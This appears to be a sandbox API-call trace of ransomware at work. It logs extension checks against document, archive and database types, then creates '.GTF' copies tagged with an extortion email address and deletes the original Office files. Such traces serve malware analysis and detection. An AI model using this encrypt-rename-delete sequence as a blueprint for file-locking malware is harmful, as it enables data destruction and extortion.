	[0166.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0166.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0166.594] lstrlenW (lpString=".doc") returned 4
	[0166.594] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0166.594] lstrlenW (lpString=".docx") returned 5
	[0166.594] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0166.594] lstrlenW (lpString=".pdf") returned 4
	[0166.594] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0166.594] lstrlenW (lpString=".xls") returned 4
	[0166.594] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0166.594] lstrlenW (lpString=".xlsx") returned 5
	[0166.594] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0166.594] lstrlenW (lpString=".ppt") returned 4
	[0166.594] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0166.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0166.594] lstrlenW (lpString=".zip") returned 4
	[0166.594] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0166.594] lstrlenW (lpString=".rar") returned 4
	[0166.594] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0166.594] lstrlenW (lpString=".bz2") returned 4
	[0166.594] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0166.594] lstrlenW (lpString=".7z") returned 3
	[0166.594] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0166.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0166.594] lstrlenW (lpString=".dbf") returned 4
	[0166.594] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0166.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0166.594] lstrlenW (lpString=".1cd") returned 4
	[0166.594] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0166.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0166.595] lstrlenW (lpString=".jpg") returned 4
	[0166.595] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0166.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0166.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0166.595] lstrlenW (lpString=".doc") returned 4
	[0166.595] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0166.595] lstrlenW (lpString=".docx") returned 5
	[0166.595] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0166.595] lstrlenW (lpString=".pdf") returned 4
	[0166.595] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0166.595] lstrlenW (lpString=".xls") returned 4
	[0166.595] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0166.595] lstrlenW (lpString=".xlsx") returned 5
	[0166.595] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0166.595] lstrlenW (lpString=".ppt") returned 4
	[0166.595] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0166.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0166.595] lstrlenW (lpString=".zip") returned 4
	[0166.595] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0166.595] lstrlenW (lpString=".rar") returned 4
	[0166.595] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0166.595] lstrlenW (lpString=".bz2") returned 4
	[0166.595] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0166.595] lstrlenW (lpString=".7z") returned 3
	[0166.595] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0166.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0166.595] lstrlenW (lpString=".dbf") returned 4
	[0166.595] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0166.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0166.595] lstrlenW (lpString=".1cd") returned 4
	[0166.595] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0166.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0166.595] lstrlenW (lpString=".jpg") returned 4
	[0166.595] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0166.596] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.596] lstrlenW (lpString="Microsoft.AppV.Eventing.dll") returned 27
	[0166.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0166.675] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=96472) returned 1
	[0166.675] CloseHandle (hObject=0x54c) returned 1
	[0166.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll")) returned 0x220
	[0166.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0166.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0166.675] lstrlenW (lpString=".doc") returned 4
	[0166.675] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.675] lstrlenW (lpString=".docx") returned 5
	[0166.675] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0166.676] lstrlenW (lpString=".pdf") returned 4
	[0166.676] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.676] lstrlenW (lpString=".xls") returned 4
	[0166.676] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.676] lstrlenW (lpString=".xlsx") returned 5
	[0166.676] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0166.676] lstrlenW (lpString=".ppt") returned 4
	[0166.676] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0166.676] lstrlenW (lpString=".zip") returned 4
	[0166.676] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.676] lstrlenW (lpString=".rar") returned 4
	[0166.676] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.676] lstrlenW (lpString=".bz2") returned 4
	[0166.676] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.676] lstrlenW (lpString=".7z") returned 3
	[0166.676] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0166.676] lstrlenW (lpString=".dbf") returned 4
	[0166.676] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0166.676] lstrlenW (lpString=".1cd") returned 4
	[0166.676] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0166.676] lstrlenW (lpString=".jpg") returned 4
	[0166.676] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0166.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0166.676] lstrlenW (lpString=".doc") returned 4
	[0166.676] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.676] lstrlenW (lpString=".docx") returned 5
	[0166.676] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0166.676] lstrlenW (lpString=".pdf") returned 4
	[0166.676] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.676] lstrlenW (lpString=".xls") returned 4
	[0166.677] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.677] lstrlenW (lpString=".xlsx") returned 5
	[0166.677] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0166.677] lstrlenW (lpString=".ppt") returned 4
	[0166.677] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0166.677] lstrlenW (lpString=".zip") returned 4
	[0166.677] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.677] lstrlenW (lpString=".rar") returned 4
	[0166.677] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.677] lstrlenW (lpString=".bz2") returned 4
	[0166.677] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.677] lstrlenW (lpString=".7z") returned 3
	[0166.677] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0166.677] lstrlenW (lpString=".dbf") returned 4
	[0166.677] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0166.677] lstrlenW (lpString=".1cd") returned 4
	[0166.677] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0166.677] lstrlenW (lpString=".jpg") returned 4
	[0166.677] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.677] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.677] lstrlenW (lpString="Microsoft.AppV.Modernizer.Common.dll") returned 36
	[0166.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0166.678] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=49368) returned 1
	[0166.678] CloseHandle (hObject=0x54c) returned 1
	[0166.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll")) returned 0x220
	[0166.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0166.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0166.679] lstrlenW (lpString=".doc") returned 4
	[0166.679] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.679] lstrlenW (lpString=".docx") returned 5
	[0166.679] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0166.679] lstrlenW (lpString=".pdf") returned 4
	[0166.679] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.679] lstrlenW (lpString=".xls") returned 4
	[0166.679] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.679] lstrlenW (lpString=".xlsx") returned 5
	[0166.679] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0166.679] lstrlenW (lpString=".ppt") returned 4
	[0166.679] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0166.679] lstrlenW (lpString=".zip") returned 4
	[0166.679] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.679] lstrlenW (lpString=".rar") returned 4
	[0166.679] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.679] lstrlenW (lpString=".bz2") returned 4
	[0166.679] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.679] lstrlenW (lpString=".7z") returned 3
	[0166.679] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0166.679] lstrlenW (lpString=".dbf") returned 4
	[0166.679] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0167.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0167.061] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.061] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.063] GetLastError () returned 0x0
	[0167.063] ReadFile (in: hFile=0x548, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x97da2, lpOverlapped=0x0) returned 1
	[0167.084] WriteFile (in: hFile=0x428, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x97db0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x97db0, lpOverlapped=0x0) returned 1
	[0167.096] ReadFile (in: hFile=0x548, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.096] WriteFile (in: hFile=0x428, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0167.096] SetEndOfFile (hFile=0x428) returned 1
	[0167.096] CloseHandle (hObject=0x428) returned 1
	[0167.096] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.096] SetEndOfFile (hFile=0x548) returned 1
	[0167.293] CloseHandle (hObject=0x548) returned 1
	[0167.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0167.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 1
	[0167.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0167.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0167.929] lstrlenW (lpString=".doc") returned 4
	[0167.929] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0167.929] lstrlenW (lpString=".docx") returned 5
	[0167.929] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0167.929] lstrlenW (lpString=".pdf") returned 4
	[0167.929] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0167.929] lstrlenW (lpString=".xls") returned 4
	[0167.929] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0167.929] lstrlenW (lpString=".xlsx") returned 5
	[0167.929] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0167.929] lstrlenW (lpString=".ppt") returned 4
	[0167.929] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0167.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0167.929] lstrlenW (lpString=".zip") returned 4
	[0167.929] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0167.929] lstrlenW (lpString=".rar") returned 4
	[0167.929] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0167.929] lstrlenW (lpString=".bz2") returned 4
	[0167.929] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0167.929] lstrlenW (lpString=".7z") returned 3
	[0167.929] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0167.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0167.929] lstrlenW (lpString=".dbf") returned 4
	[0167.929] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0167.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0167.929] lstrlenW (lpString=".1cd") returned 4
	[0167.929] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0167.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0167.929] lstrlenW (lpString=".jpg") returned 4
	[0167.929] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0167.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0167.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0167.930] lstrlenW (lpString=".doc") returned 4
	[0167.930] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0167.930] lstrlenW (lpString=".docx") returned 5
	[0167.930] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0167.930] lstrlenW (lpString=".pdf") returned 4
	[0167.930] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0167.930] lstrlenW (lpString=".xls") returned 4
	[0167.930] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0167.930] lstrlenW (lpString=".xlsx") returned 5
	[0167.930] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0167.930] lstrlenW (lpString=".ppt") returned 4
	[0167.930] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0167.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0167.930] lstrlenW (lpString=".zip") returned 4
	[0167.930] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0167.930] lstrlenW (lpString=".rar") returned 4
	[0167.930] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0167.930] lstrlenW (lpString=".bz2") returned 4
	[0167.930] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0167.930] lstrlenW (lpString=".7z") returned 3
	[0167.930] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0167.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0167.930] lstrlenW (lpString=".dbf") returned 4
	[0167.930] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0167.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0167.930] lstrlenW (lpString=".1cd") returned 4
	[0167.930] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0167.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0167.930] lstrlenW (lpString=".jpg") returned 4
	[0167.930] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0167.931] lstrcmpiW (lpString1=".msu", lpString2=".GTF") returned 1
	[0167.931] lstrlenW (lpString="Windows8.1-KB2999226-x86.msu") returned 28
	[0167.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0167.932] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=595977) returned 1
	[0167.932] CloseHandle (hObject=0x55c) returned 1
	[0167.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 0x220
	[0167.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0167.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0167.933] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.933] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0167.933] GetLastError () returned 0x0
	[0167.933] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x91809, lpOverlapped=0x0) returned 1
	[0167.953] WriteFile (in: hFile=0x53c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x91810, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x91810, lpOverlapped=0x0) returned 1
	[0168.292] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.292] WriteFile (in: hFile=0x53c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0168.292] SetEndOfFile (hFile=0x53c) returned 1
	[0168.293] CloseHandle (hObject=0x53c) returned 1
	[0168.293] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.293] SetEndOfFile (hFile=0x55c) returned 1
	[0168.646] CloseHandle (hObject=0x55c) returned 1
	[0168.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 1
	[0168.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0168.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0168.648] lstrlenW (lpString=".doc") returned 4
	[0168.648] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0168.648] lstrlenW (lpString=".docx") returned 5
	[0168.648] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
